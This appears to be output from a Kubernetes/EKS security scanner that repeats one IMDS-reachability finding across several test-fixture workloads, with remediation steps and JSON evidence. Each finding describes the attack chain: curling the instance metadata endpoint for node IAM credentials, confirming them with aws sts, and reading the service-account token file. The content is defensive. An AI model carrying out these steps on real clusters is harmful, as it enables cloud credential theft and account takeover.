The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"lp-fixtures/lp-narrow-app"
reason
"no-egress-policy"
sa
"lp-fixtures/sa-lp-narrow"
workload
"Deployment/lp-fixtures/lp-narrow-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "lp-fixtures/lp-narrow-app",
  "reason": "no-egress-policy",
  "sa": "lp-fixtures/sa-lp-narrow",
  "workload": "Deployment/lp-fixtures/lp-narrow-app"
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: Deployment/lp-fixtures/lp-wildcard-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"lp-fixtures/lp-wildcard-app"
reason
"no-egress-policy"
sa
"lp-fixtures/sa-lp-wildcard"
workload
"Deployment/lp-fixtures/lp-wildcard-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "lp-fixtures/lp-wildcard-app",
  "reason": "no-egress-policy",
  "sa": "lp-fixtures/sa-lp-wildcard",
  "workload": "Deployment/lp-fixtures/lp-wildcard-app"
}
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: Deployment/secrets-bundle/cross-ns-consumer

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"secrets-bundle/cross-ns-consumer"
reason
"no-egress-policy"
sa
"secrets-bundle/cross-ns-reader"
workload
"Deployment/secrets-bundle/cross-ns-consumer"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "secrets-bundle/cross-ns-consumer",
  "reason": "no-egress-policy",
  "sa": "secrets-bundle/cross-ns-reader",
  "workload": "Deployment/secrets-bundle/cross-ns-consumer"
}
HIGH ServiceAccount/vulnerable/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/generic-hostpath-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/generic-hostpath-app"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/generic-hostpath-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/generic-hostpath-app",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/generic-hostpath-app"
}
HIGH ServiceAccount/netpol-imds/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default Resource: Deployment/netpol-imds/imds-allow-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
offenderCIDR
"0.0.0.0/0"
pod
"netpol-imds/imds-allow-app"
reason
"explicit-allow"
sa
"netpol-imds/default"
workload
"Deployment/netpol-imds/imds-allow-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "0.0.0.0/0",
  "pod": "netpol-imds/imds-allow-app",
  "reason": "explicit-allow",
  "sa": "netpol-imds/default",
  "workload": "Deployment/netpol-imds/imds-allow-app"
}
HIGH ServiceAccount/cloud-eks-test/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default Resource: Deployment/cloud-eks-test/imds-pivot-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"cloud-eks-test/imds-pivot-app"
reason
"no-egress-policy"
sa
"cloud-eks-test/default"
workload
"Deployment/cloud-eks-test/imds-pivot-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "cloud-eks-test/imds-pivot-app",
  "reason": "no-egress-policy",
  "sa": "cloud-eks-test/default",
  "workload": "Deployment/cloud-eks-test/imds-pivot-app"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-image

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-image"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-image"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-image",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-image"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-lifecycle

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-lifecycle"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-lifecycle"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-lifecycle",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-lifecycle"
}
HIGH ServiceAccount/netpol-imds/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default Resource: Deployment/netpol-imds/imds-open-app

